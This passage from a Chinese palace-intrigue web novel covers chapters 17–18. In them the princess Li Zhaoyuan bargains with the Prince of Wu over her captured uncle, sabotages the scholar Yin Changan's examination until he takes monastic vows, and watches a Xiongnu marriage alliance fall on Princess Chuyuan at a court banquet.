“正是”。
“女娘安好?家主和郎君托属下向女娘报个平安顺带赔罪,聘书恐得来日再送”。
“二郎君可要紧?”
“郎君只是腿伤了,并无性命之忧”。
福安医馆。
李昭愿带着侍女刚刚靠近二楼厢房,便听见屋内密谈。
一道苍老的声线蓦然响起。
“子夜,你此番来京遇上匪盗恐非偶然,那匪盗就是为取你性命而来”。
“叔父何出此言”。
“你可知,那名假扮你的侍卫被一刀割喉?”
“怎会如此?”
床上虚弱的男子激动地爬起身来,本孱弱的面容更无血色。
老者忧心忡忡道。
“那是我们府上最强的侍卫,可却如同一只蚂蚁般被碾死——”
孱弱的男人继续分析。
“说明杀他之人武功极为高强,与那批匪盗绝非一路货色,恐怕是京中权贵!咳咳咳……”
“这昭阳公主乃是个大麻烦!我蒙家绝不能娶……这样一个祸害”
最后几个字声线虽压得极低,可门外之人依旧听得清楚。
“你是谁?”
忽然,门口传来一声惊呼。
家主不疾不徐出门查看,却只看见端药医女打量着走廊尽头。
这夜。
李昭愿领了众多侍女,带了诸多补品奔赴医馆。
面容热络,毫不生疏。
“蒙家主,蒙郎君可安好,竟遭遇了这般大祸,那些匪盗实属可恶!”
“多谢女娘关心,并无大碍”。
“那便好,只是聘书与聘礼都已带来,就不劳家主和郎君麻烦了,便让我先带回”。
李昭愿眼神不住盯着角落里堆叠的铁箱,目光热烈。
看着她贪婪的眼神,蒙家主的神色愈发严肃。
“女娘,这实在不合规矩!”
“不日我便要嫁予二郎,何必在意这些虚礼”。
言罢,李昭愿便开始招呼侍女侍女一箱箱往外搬东西,笑得极为灿烂。
“既如此,我便先走了,二郎君,好生养伤!”
李昭愿笑着,身姿极为轻盈地离开。
待她的身影消失,蒙家主阴沉的脸色终于彻底露出,他一甩衣袖。
“这……这成何体统!”
“如此贪婪爱财,无礼鲁莽,同传闻简直大相径庭,简直荒谬!”
“噗……”
而他身后的蒙子夜却不合时宜地笑了一下。
“叔父,这是这位昭阳公主在报复,她已猜出午时的话是你我故意让她听见”。
“这位观音的确同传言大不相同”。
“看来那些匪盗不能留了”。
蒙家主使了一个阴狠的眼神给侍卫,侍卫心领神会夺门而出。
“叔父——”
“你又要为那些人求情了?”
“子夜,你来日是要承继家主的,要学会心狠!”
17. 噩耗
“女娘,将军他……”
“小舅舅?他怎么了?”
“将军失踪了!”
“啪嗒!”
顷刻间,她手中的茶杯从手中滑落,怦然坠地,四分五裂。
“怎么可能?小舅舅他是主帅,统领千军万马,岂会无故消失?”
李昭愿满眼不可置信,攥着木桌的指尖不住惊颤。
可这件事侍女也无法解释。
只能安慰她,
“女娘,这……或许是什么有心之人造谣生事,您莫要太过忧心”。
可李昭愿如何不明白白这样的军国大事一般人岂敢造假。
可万一呢?
哪怕有一线希望,她都先去核实。
秋雨淅淅沥沥砸在瓦砾上,又迸溅进水池,荡起层层涟漪。
紧接着,一双泥泞的鞋缕冲进水里又踏出。
水渍淋漓。
湿鞋底磋磨地面发出特殊的声音,冲进了武王耳中。
他放下手中战报,抬眼望面前走来之人,落汤鸡似的。
衣裳凌乱,失魂落魄。
“昭阳,你今日前来可是为了你小舅舅一事?”
“兄长也知晓?此事难道真的是……?”
武王端起手中战报。
“你小舅舅的副将传来讯息,岂会有错”。
得到肯定,支撑她的那口气终于散尽。
刹那间。
李昭愿身子一软,竟跌跪在大堂中,鬓角乱发遮住了她的面容。
一颗颗泪珠从眼角坠下。
即便她通晓一切,可还是未能挽回大局。
小舅舅终究还是饮了酒。
中了圈套!
略显幽暗的大堂间,武王神情冰冷地看着李昭愿。
指尖仍镇定地敲击桌案。
良久。
她重新理好思绪。
“兄长,求您救他!”
女子的嗓音十分嘶哑。
蓦地,武王指尖凝滞,露出一抹怜惜。
他缓缓起身上前,劝道。
“昭阳,那是千里之外的战场,本王恐怕爱莫能助”。
李昭愿看着面前一双疤痕遍布的手。
神思一晃。
心中忽然明了,这世间哪有什么爱莫能助,只有值不值得。
尤其是他们这种将性命系在裤腰带上的人。
有什么不能拿起?
“兄长!齐王他或许有龙阳之好,同一个和尚”。
“或有?和尚?”
“普天之下,只有我知道那个和尚如今身在何处!”
伴随着女子嘹亮坚定的声线而起的,还有天边降下的那道惊雷,震天动地。
这日的滂沱大雨渐渐歇了下来。
李昭愿撑一把油纸伞,步步生莲,踏入国子监。
学堂。
司业突然闯入。
“殷长安!出来”。
殷长安自角落间爬起,越过一旁的李长卿,一瘸一拐离开。
一出门,他就看见了那道粉红的倩影,如同一朵粉莲不惧风雨绽放在无尽的绿意里。
美丽、神圣,不可亵渎。
心念一动,他径直冲进雨幕里。
“殿下”。
李昭愿听见他的声音,转过身来。
少年已然比她高了许多,看来,这国子监的风水养人。
她脸色恍惚间仿佛一滞。
随即敛回。
泄出温柔一笑。
“长安,许久不见,你可还好?”
少年看着她,垂下了头,似有几分失落。
“好,很好”。
李昭愿看着他,余光恍然瞥到一角白衣。
“长安,如今我虽非公主,可同司业还有几分交情,如若遇到什么困难,尽可开口”。
说着,她握上他的臂膊。
可刹那间,殷长安脸色一变。
似是忍受剧痛。
“长安,你怎么了?”
她顺着他手臂护住的地方,一把拉起他胳膊上的长袖。
遍布的疤痕映入眼帘。
烫伤、鞭痕、刀伤……
李昭愿眉头一皱。
“是谁?究竟是哪个混账?”
听着她焦急的声线。
他红了眼,张口欲说。
可残夜里那道狰狞声音又重新响在耳侧。
“小崽子,你的靠山倒了,她不过是个下贱的外室女”。
“你若乖乖听话,她便安全”。
“但你若敢声张,我就让她灰飞烟灭!”
他拉下衣裳。
将倾诉之语吞了回去。
“殿下,不过是我不小心滑倒罢了”。
李昭愿看着他委屈隐忍的模样,心头却如同被撕裂成两半,互相撕扯着。
上一世的黑衣宰相,寺庙高僧,这一世,却被她捷足先登。
如今不过是国子监中备受欺凌的学生。
她真的要把他重新推向齐王吗?
李昭愿勉强笑笑。
“长安,不日的擢考,以你的才学,定会金榜题名、名满京都,定要全力以赴”。
“我相信你”。
留下草草一句。
李昭愿落荒而逃。
回去的路上,心口格外冷,她望着远方青绿的天际。
不停安慰自己。
当初,她救他,本就是为了今日一用,何必愧疚。
毕竟,上一世他也间接促成了她的死亡。
这一世,他就是在还债。
与此同时,一个探子隐入暗处。
武王府。
李昭愿立于堂中,同她四目相对的是暴怒的武王。
他一把攥起她的下巴。
“昭阳,你是在耍我吗?”
“兄长何出此言?”
李昭愿忍着痛。
“那殷长安既非和尚,又同齐王没有半分联系。你竟敢如此戏耍本王,你就等着为祝无忧收尸吧”。
武王说罢,一把甩开她的下巴。
顷刻间,李昭愿跌落在地,下巴也传来剧痛。
脱臼了。
她一把托住下巴,看着武王欲离开的鞋缕,心口一紧,另一只手死死抓住他的裙摆,随着武王愠怒的动作,不甚伏倒在地,狼狈非常。
“兄长还请息怒!不日,不日他就会遁入空门!只是还需兄长助我一臂之力”。
“你给我滚开”。
可无论齐王如何用力,都甩不开鞋上那双素手。
“兄长!再信我最后一次!”
最后武王还是拗不过,答应了她。
直到他走远,李昭愿才缓缓抬起头,眼角发涩。
无论是上一世,还是这一世,她何时这般自甘下贱、卑微讨好过,低贱到了尘埃里。
可没关系,有舍才有得。
几日后。
擢考日前。
“长安,这是我特意为你备好的安神茶”。
殷长安看着身前瓷瓶,不禁想起先生提起的莫饮他人的东西。
可殿下,她不一样,他还是笑着接下。
看着李昭愿期待的眼神。
一饮而尽。
“多谢殿下,今日我定会全力以赴,不负殿下栽培”。
李昭愿听着,心口一跳。
她转身想逃离。
身后的人却突然喊她。
“昭愿……殿下,我可以这般叫你吗?”
蓦地,她停下步伐。
身后之人的言语无比真诚。
“我知道你已然定亲,可若是我摘得魁首,便有一次求得圣上赏赐的机会,到那时,不知殿下……可愿嫁与我?”
少年的声线尚带着几分青涩。
可他的话于她却似一根针,扎进了心口,扎碎了一个名为良心的东西。
她未曾回头。
呼吸却有些乱了。
“我知晓了”。
说罢,她马不停蹄地离开。
几日后。
祝府。
“女娘,有个小孩塞给了我一封信”。
李昭愿听着,急忙接过来。
是武王传来的消息。
可信上的内容,更是晴天霹雳。
祝将军被敌军俘虏,囚于羊圈,断食数日,奄奄一息。
不日,漠北将前来和谈。
祝小将军将作为礼物,赠与大端朝皇帝。
小舅舅一生骄傲,怎能忍受这样的羞辱!
武王府。
“兄长,你可有办法救我小舅舅?”
“昭阳,你在说什么胡话?”
武王靠坐在椅上,神情讥讽。
他身旁的侍女看李昭愿脸色难看,这才解释道。
“这封信已然是细作冒着暴露的风险传回,若要救人,恐怕难于登天”。
“你若不救,我又为何要帮你?”
武王看着李昭愿负隅顽抗的模样,又看了一眼手中的酒罇。
忽然,一股冰冷的酒水扑到了她面上。
“清醒了吗?”
“昭阳,你已经没有筹码了”。
“兄长不必恐吓于我,我并非垂髫小儿。”
“一切早已安排好。如若哪一日我不知所踪,你我密谋的所有经过都会变成一封信,完完整整送到齐王的手上”。
“到时……”
“好!李昭愿,看来,还是本王看轻了你!”
说罢,武王气哄哄拂袖离去。
而这日的京都,恰是国子监放榜之日。
殷长安满怀希冀,前去看榜。
纵使那日擢考时,他突感身体不适,肚子疼得厉害,可还是忍常人所不能忍,写完了卷子。
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>幸而卷子上的题目,于他来说,也算手到擒来。
只望这次一飞冲天。
那些国子监里的孬货,从今以后就没有一个再敢欺负他、羞辱他,他要一步一步往上爬,爬到最高,荣华富贵、美人锦衣,他都要。
他挤在了所有人最前面。
第一排。
没有。
第二排。
也没有。
第三排。
还没有。
怎么可能,看着这张清晰无比的榜单,他脊背袭上一股彻骨的寒冷。
可他不相信。
或许,漏了。
他又看了第二遍、第三遍。
心中仅存的希冀消亡殆尽。
这时,人群里爆开了一声痛吼,众人被吓得待立原地。
“怎么可能?”
“怎么会这样!”
殷长安从人群里疯疯癫癫挤出来后,却突然惊住。
那个他心心念念之人就在眼前。
那日许过的誓言还历历在目。
可现如今的他,怎么配?
殷长安同李昭愿擦身而过,他满目的悲凉。
“长安”。
李昭愿不自觉抓住了殷长安的衣袖。
可他,甩开了她。
心如死灰。
李昭愿愣在那里,方才,那个表情太熟悉了。
那代表,他失去了一切。
人生亦变成了灰色。
这些,是武王的手笔,却也是她的主意。
现如今,她也成了帮凶,刽子手。
可良心终究换不来想要的东西。
*
这夜。
一个名寺高僧游荡于长街,他理了理身上名贵的袈裟,朝地上颓丧的书生而去。
“施主”。
“老衲察觉你印堂发黑,恐怕是遇上了人生大关,如若闯不过去,恐怕一生堪忧!”
殷长安抬起醉酒的脸,满脸不屑。
“哦?那这位高僧,你倒是帮我一解,如何?”
“施主是读书人吧,此大关恐关乎前途,学识,遭奸人设计,明珠蒙尘!”
说到此,殷长安的眼神凌厉了些。
“你究竟是谁?”
“老衲乃白云寺的一名僧人,今日受佛祖指引,请施主前去化劫”。
殷长安半信半疑的跟着僧人上了山。
本欲去厢房歇息,却看见一个熟悉的倩影朝寺庙后院而去。
他追着那道身影,到了后院。
藏身于香炉后。
“他的卷子你可调换?”
女子声线一如既往地温润柔和。
“女娘放心,我早已掉包,纵使他有吞天的才华也得被我们死死踩在脚下”。
“女娘请看,这便是”。
女子从容地接过皱巴巴的纸,发出一声轻笑,满是不屑。
“就他,也胆敢妄想迎娶我,真是令人作呕”。
“还是女娘聪明,既不得罪人,又解决了祸害,还让他倾慕于您”。
“下去吧”。
说罢,女子伸出手,纤长的指一松,揉皱的卷子顺着风,飘啊飘。
飘入火炉,随即被火舌彻底吞灭。
看着女子走远。
殷长安急忙去抓,却只落了满手灰烬。
接着,他好似感受不到疼,将手腕放在火苗上烤,泪如雨下。
哭到抽搐,脚底痉挛。
跪倒在地。
这时,一件名贵的袈裟穿过疾风,落在他肩上。
而他身后空无一人。
这,似乎是上天、佛祖的慰藉、安排。
殷长安也不知自己哭了多久。
在光明侵吞黑暗之际,他满头的青丝也轻飘飘吹落在地,仿佛他的人生。
从此,世间再无殷长安,只有僧人如石。
与此同时。
一份考卷也被送到了齐王府。
齐王看着这份考卷,从一开始的不屑到最终细细品读,满目的欣赏。
直到第二日。
他唤来了李长卿。
“国子监还有这样的人,从未听你说过”。
李长卿捧着那份卷子,神情自若。
“殿下,这位书生已离开了国子监”。
“哦?去了哪里?”
“出家”。
“真是稀奇,这样的才华,出家岂不可惜”。
“殿下可要见他?”
“不必了”。
齐王想到朝中繁杂的事务,也没了闲情。
“敢问殿下这份考卷从何而来?”
“是武王派人送来的”。
武王?那个莽夫,送此试卷,意欲何为?
李长卿不动声色地收起试卷。
不知为何,他总觉得有人在身后推动此事,不知在酝酿什么阴谋。
18. 和亲
一颗颗石子于水面跃起又落下,激起圈圈涟漪,亦映出一张忧郁柔美的面容。
“殿下,楚元公主邀您进宫饮宴,今夜乃公主生辰”。
随着声音递而来的,是一张做工精细的请帖。
楚元公主,据说是母……皇后娘娘请钦天监特意占卜的福禄之名。
楚,素有鲜明华美之意。
而元,乃万物根本,集世间浩然正气。
当真是个爽朗的好名字。
李昭愿接下了那张殷红的帖,却有几分烫手。
她无心前去。
今夜,亦是她的生辰,只是身边空无一人。
“殿下,楚元公主的侍女还带了话”。
“说……皇后娘娘忧思成疾,身体每况愈下,如果您还有良心,就去看看她吧”。
“母亲……”
——
夜来得极快,随之而来的是彻骨的冰冷,整座京都的上空都升起了汩汩烟雾。
宫门口城楼之上。
一人着红袍立于暗处,挽手在身后。
居高临下地看着宫门口往来的豪车。
身旁小厮劝道,
“大人!今日天气寒凉,您如此,恐冻坏了身子”。
可身前人并不回应。
正当小厮又欲开口,身前之人缓缓转过头。
火光映出他冰冷的侧颜,长睫凝滞,无言,无声亦无情。
他不禁想起大人拾走他的那日。
那是一个猩红的夜。
他们家中刀光剑影,惨叫冲天,他藏在桌下目睹了一切,捂紧了嘴,惊恐万分,生怕一个不小心,被那个手持长剑的人发现。
就在那阵惨叫歇下来,一切尘埃落定时,他松了一口气。
咕噜噜——
突然,一颗人头滚到了脸前,他终于还是忍不住叫出声来。
直到如今,他依旧清晰地记得那张死不瞑目的脸。
而当他从桌下被拎出时。
却是一张十分白净温润的脸。
与那满地的血腥格格不入,那桩悬案依旧未曾被破,没人会想到,凶手会是这样一个孱弱书生。
那种眼神,同现在一模一样。
他知道,这是大人动了杀意。
小厮急忙跪下磕头。
“大人!是小人僭越了,小人该死!小人该死!”
恰在此时,一辆极为朴素的马车停在城楼下。
一位披了雪白裘衣的女子从中徐徐走下。
“罢了!”
“宣寻,去找祝家女,就说,我在城楼等她,亦如曾街边小屋时,只求见她一面”。
宣寻如同得了免死金牌,风驰电掣离开。
李昭愿入宫门不过几步,就有一个额头红肿的小厮拦住去路。
她本不愿理会。
那小厮却当着众人的面跪地恳求,态度之恳切,令她骑虎难下。
直到二人进一步说话。
李昭愿这才知道,是那个人要见她。
她抬头向高耸的城楼望去,火光黯淡,白雪飞扬,只依稀看见一个鹤立的身影。
“好,既然他喜欢赏雪,那今夜定要赏个够,恕我不便奉陪”。
既然他那样喜欢等待,就好好等吧,等什么时候受不了,自然会知难而退。
说罢,李昭愿一把拂开裘衣转身而去。
“祝女娘——”
徒留在原地绝望的小厮。
贵女们相伴落座,就在李昭愿随意找了个角落要坐下时,却有一嬷嬷悄然上前。
“殿下,皇后娘娘安排您坐在她身边”。
“娘娘说,许久不见,甚是思念”。
“张嬷嬷,母亲的身体如何了?”
听到此的嬷嬷笑容微动,躬着身子将她引到皇后身旁。
“女娘放心,娘娘的身体十分康健”。
不久后。
帝后携手而至。
他们身后,跟着楚元公主。
满头珠翠,步摇飞扬,富贵逼人。
只是一眼,祝冯玉径直朝李昭愿而来。
大步流星。
霎时间,殿中众人都停下动作,打趣地看着二人。
一个是飞扬跋扈的真公主。
另一个是慈眉善目的假公主。
尤其是前段时间这位假公主还将真公主推下水去。
二人之间的关系不言而喻。
只是待祝冯玉站定,却亲切地挽上她的手。
“祝姐姐!许久未见,你可养好了身子”。
众人大跌眼镜,包括李昭愿。
“母亲,你总算念叨姐姐,今日总算是盼来了”。
祝冯玉撒娇似的同皇后娇嗔。
皇后徐徐走来,亲昵地抚了抚祝冯玉的头发。
“傻丫头,可终于开窍了”。
看着这一幕,李昭愿笑了笑,有几分无措。
但只要母亲的身体安好。
她就放心了。
李昭愿识趣地想要离开位置,却被祝冯玉按下。
“祝姐姐,母亲早已念叨你多时了,你就如此狠心,不陪陪母亲?”
“怎么会?”
“那便好”。
她不知这祝冯玉的葫芦里,究竟卖的什么药。
但碍于皇后的情面,也不好拒绝。
很快,殿中便一片歌舞升平。
皇后看着祝冯玉有些瘦削的脸庞。
有些心疼地拂起她鬓角的发。
“昭愿,这些日子你可好?”
李昭愿听着,心口一滞,可还是勉强笑着。
“母亲放心,一切都好”。
“那便好,这些日子你瘦了许多,今日即便母亲不在身边,你也要照顾好自己。照你小舅舅的话,添衣加饭,不可或缺,身子乃一切的根本……”
皇后不停在她耳边絮絮叨叨,到最后,竟落下泪来。
李昭愿有几分受宠若惊,更有些心疼。
她拾了帕子,为皇后拭泪。
“母亲,女儿今后定会来常常探望您,莫伤心”。
可皇后哭得更为强烈。
祝冯玉笑看这一幕。
旁边众人都不由得称赞楚元公主胸怀宽广,比之江川湖海。
可随着皇后眼角的泪落尽,歌舞唱罢。
一行异族使臣鱼贯而入。
“吾乃匈奴使者,奉我大单于之命,不远千里而来,恳请陛下允诺和亲之议”。
登时,李昭愿眼皮一跳。
而匈奴使臣看着大端皇帝有些不屑一顾地模样。
眉眼一挑。
“同时我大单于久慕大汉天威,敬重陛下仁德,愿以王室贵女为妃,结秦晋之好,从此汉匈亲如一家,世代友好”。
说罢,他轻轻拍手。
便有一女子从使臣身后走出。
她着一身狼皮长袍,戴一顶尖顶帽,皮毛在烛火下泛着苍劲的灰黄,可女子丝毫没有被这穿着遮住锋芒。
那双帽下的杏眼格外明亮。
女子微微躬身,双手叠于腹前行礼。
“乌兰敬贺汉天子”。
一举一动更是爽朗大方,
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声线平和舒展,带有大端朝女子少有的气质。
即便皇帝再克制。
仍未掩住眼中的那一丝欣赏,恰被使者捕捉到。
“此乃吾部最美的女子,还请陛下收此女为妃”。
皇帝神色沉静。
目光却不有自主地一动。
掠过皇后、李昭愿和祝冯玉。
又收回。
而皇后握着李昭愿的手却是一颤,她眸光一动,恍惚间明白了什么。
母亲已然做出选择了。
那父亲呢?
她不敢想,毕竟那夜祝冯玉落水后父亲震怒的眼神,她还记得。
“单于有心向化,遣使通好,朕心甚慰。既如此,那朕便将——”
随着那几个愈近,李昭愿同祝冯玉都心跳如鼓。
“楚元公主”
“嫁予汝部,汉匈本为邻邦,当以百姓安宁为要,罢兵戈、通有无,共享边境太平。今见尔等诚意,朕自当以礼相待——”
突然。
噗嗤——
祝冯玉身前的桌案倾泻一地,她抖动着站立而起,满眼的不可置信。
所有的目光都落在她身上。
皇帝眉头一皱。
皇后急忙起身将她按下,可却被一把推倒在地。
“又是这般!为何又是这般!”
“为什么倒霉的总是我!”
众人神色各异地盯着这位楚元公主。
亦时不时瞟一眼脸色阴沉的皇帝。
就在她又一次想要开口时,
却被一巴掌扇倒在地,噗嗤一声,磕在墙角。
“陛下!是臣妾教导无方!”
说罢,皇后拉着祝冯玉狼狈离开,就在祝冯玉的裙摆越过殿门时,她突然抬头。
一双猩红的眼死死盯着李昭愿。
赵贵妃轻勾细眉,举起手中酒杯一饮而尽,随即起身泪眼朦胧对着皇帝。
“楚元公主自小流落宫外,前些日子才寻回,都怪臣妾未能找好教养嬷嬷,才闹了今日一出笑话,实乃妾之过,还请陛下降罪!”
就在她将跪时,皇帝将她扶起。
“爱妃打理后宫已然辛苦,岂能面面俱到”。
使臣也极有眼力。
适时说道,
“娘娘生得花容月貌,端庄典雅,着实有大国风范!”
这夜,整场宴会以赵贵妃的大获全胜而结束。
既挽救了局面,亦争得了气度不凡的名声,压了皇后一头。
只是,楚元公主同曾经的昭阳公主势同水火、不共戴天的传闻传遍了天下。
楚元公主善妒粗鲁。
而那昭阳公主却也不是个省油的灯。
二人险些闹得大端朝颜面尽失。
雪意愈大。
李昭愿撑伞独行在出宫的路上,每一步,都陷在厚实的雪里,洇湿了鞋袜,只是她若有所思,并未觉察。
直到看见马车。
猛地扎进温暖的车厢。
侍女将暖炉递到她手中。
她麻木的脚才有了几分知觉,她正小心翼翼脱了鞋袜。
忽然,一阵风突然席卷而入。
二人看去,帘子被人忽地掀开了一角,又落了回来。
马车外传来赔罪声,
“是奴唐突了!只是有要事求女娘!”
外面的小厮带了哭腔。
“我家大人已然站了两个时辰,女娘若不来……恐怕就真的撑不住!女娘!求您了”。
外面哭得凄切,
李昭愿和侍女对视一眼。